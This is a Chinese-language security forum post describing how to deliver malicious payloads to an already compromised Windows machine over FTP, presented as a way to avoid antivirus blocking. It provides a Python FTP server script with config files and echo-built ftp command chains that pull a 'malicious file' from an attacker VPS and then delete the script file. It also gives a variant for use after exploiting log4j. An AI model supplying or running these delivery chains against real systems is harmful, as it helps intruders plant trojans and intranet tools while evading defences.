安全矩阵

 找回密码
 立即注册
搜索
查看: 739|回复: 0

基于FTP的载荷投递

[复制链接]

77

主题

77

帖子

257

积分

中级会员

Rank: 3Rank: 3

积分
257
发表于 2022-11-17 20:28:16 | 显示全部楼层 |阅读模式
01前言
当取得目标系统命令执行权限时,往往需要上传木马及一些内网渗透工具,这时候windows可以使用powershell、certutil、bitsadmin等方式,linux大多使用curl以及wget方式。对于windows而言,常见的几种方法基本都会被杀软拦截,本文旨在于提供一种相对来说不常被拦截的载荷投递方式:FTP投递。

作者:网络安全情报攻防站-嘉宾千载

02工具准备

FTP服务器

这里FTP服务器有许多种搭建方法,这里提供一种python开启FTP的脚本

需要准备的代码及配置文件

1、ftp_server.py
  1. import requests
  2. import re
  3. import configparser

  4. from pyftpdlib.authorizers import DummyAuthorizer
  5. from pyftpdlib.handlers import FTPHandler, ThrottledDTPHandler
  6. from pyftpdlib.servers import FTPServer

  7. from setting import ENABLE_ANONYMOUS, ANONYMOUS_PATH, MAX_DOWNLOAD, MAX_UPLOAD, PASSIVE_PORTS, WELCOME_MSG, IP, \
  8.     PORT, MAX_CONS, MAX_PER_IP

  9. def get_myip():
  10.     r = requests.get("http://myip.ipip.net", headers={"User-Agent": "curl/7.29.0"})
  11.     ip = re.search(r"(([01]{0,1}\d{0,1}\d|2[0-4]\d|25[0-5]\d)\.){3}([01]{0,1}\d{0,1}\d|2[0-4]\d|25[0-5]\d)",r.text).group()
  12.     return ip


  13. # 新建一个用户组
  14. authorizer = DummyAuthorizer()

  15. # 从文件读取用户账号密码权限配置
  16. config = configparser.ConfigParser()
  17. config.read('user.ini')
  18. user_list = config.sections()
  19. for user in user_list:
  20.     passwd = config[user]["password"]
  21.     perm = config[user]["perm"]
  22.     home_dir = config[user]["home"]
  23.     # 将用户名,密码,指定目录,权限 添加到里面
  24.     authorizer.add_user(user, passwd, homedir=home_dir, perm=perm)

  25. # 添加匿名用户 只需要路径
  26. if ENABLE_ANONYMOUS == 'on':
  27.     authorizer.add_anonymous(ANONYMOUS_PATH)

  28. # 下载上传速度设置
  29. dtp_handler = ThrottledDTPHandler
  30. dtp_handler.read_limit = MAX_DOWNLOAD
  31. dtp_handler.write_limit = MAX_UPLOAD

  32. # 初始化ftp句柄
  33. handler = FTPHandler
  34. handler.authorizer = authorizer
  35. handler.masquerade_address = get_myip()

  36. # 添加被动端口范围
  37. handler.passive_ports = range(PASSIVE_PORTS[0], PASSIVE_PORTS[1])

  38. # 欢迎信息
  39. handler.banner = WELCOME_MSG

  40. # 监听ip 和 端口
  41. server = FTPServer((IP, PORT), handler)

  42. # 最大连接数
  43. server.max_cons = MAX_CONS
  44. server.max_cons_per_ip = MAX_PER_IP

  45. # 开始服务
  46. print('FTP开始服务 ', (IP, PORT))
  47. server.serve_forever()
复制代码


2、 setting.py
  1. IP = '0.0.0.0'
  2. PORT = '21'
  3. # 上传速度  100kb/s
  4. MAX_UPLOAD = 100 * 1024
  5. # 下载速度 100kb/s
  6. MAX_DOWNLOAD = 100 * 1024
  7. # 最大连接数
  8. MAX_CONS = 100
  9. # 最多IP数
  10. MAX_PER_IP = 10
  11. # 被动端口范围,注意被动端口数量要比最大IP数多,否则可能出现无法连接的情况
  12. PASSIVE_PORTS = (8300, 8500)
  13. # 是否开启匿名访问 on|off
  14. ENABLE_ANONYMOUS = 'on'
  15. # 匿名用户目录
  16. ANONYMOUS_PATH = 'D:\\sectools\\anonymous'
  17. # 日志文件
  18. LOGING_NAME = 'pyftp.log'
  19. # 欢迎信息
  20. WELCOME_MSG = 'Welcome to my ftp'
复制代码


3、user.ini
解读:中括号中为用户名,home为该用户的目录,创建多个用户则按下面格式多复制几遍修改一下。例子为创建user1和user2 2个用户,目录分别为user1和user2
  1. [user1]
  2. password=123
  3. perm=elradfmwM
  4. home=D:\\user1

  5. [user2]
  6. password=123456
  7. perm=elradfmwM
  8. home=D:\\user2
复制代码


在启用脚本前需要根据自己的情况修改配置文件,创建用户目录(别忘了创建匿名用户目录,在setting.py中写上对应的目录名字)
FTP服务器搭建
1、根据实际情况修改脚本配置文件,上传ftp_server.py、setting.py、user.ini到VPS:


2、 根据配置文件创建用户目录:

3、启动ftp脚本:

python3 ftp_server.py
编辑

此时FTP服务器已经搭建成功。
03载荷投递
1、将需要投递的恶意文件放置在对应用户的目录下:
编辑

2、 在拥有命令执行的机器上执行以下命令:
echo open vps-ip > o&echo user anonymous >> o& echo asc >>o&echo prompt >>o&echo mget test.txt >> o &echo quit >> o &ftp -n -s &del /F /Q o

当条件不允许时,也可以逐一执行:
  1. echo open vps-ip > o
  2. echo user anonymous >> o
  3. echo asc >>o
  4. echo prompt >>o
  5. echo mget test.txt >> o
  6. echo quit >> o
  7. ftp -n -s:o
  8. del /F /Q o
复制代码


编辑

VPS上也会有相应记录:


04附录
当使用log4j反序列化漏洞进行命令执行时,一条命令可能会执行多遍,会影响我们写入ftp配置,这时可以将">>"换为">",每次写入不同的文件,最后用copy命令进行合并即可,具体操作代码如下:
  1. echo open vps-ip > aa1
  2. echo user anonymous > aa2
  3. echo asc > aa3
  4. echo prompt > aa4
  5. echo mget test.txt > aa5
  6. echo quit > aa6
  7. copy /b aa* cc
  8. ftp -n -s:cc
  9. del /F /Q cc
复制代码


编辑










回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:53 , Processed in 0.012966 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表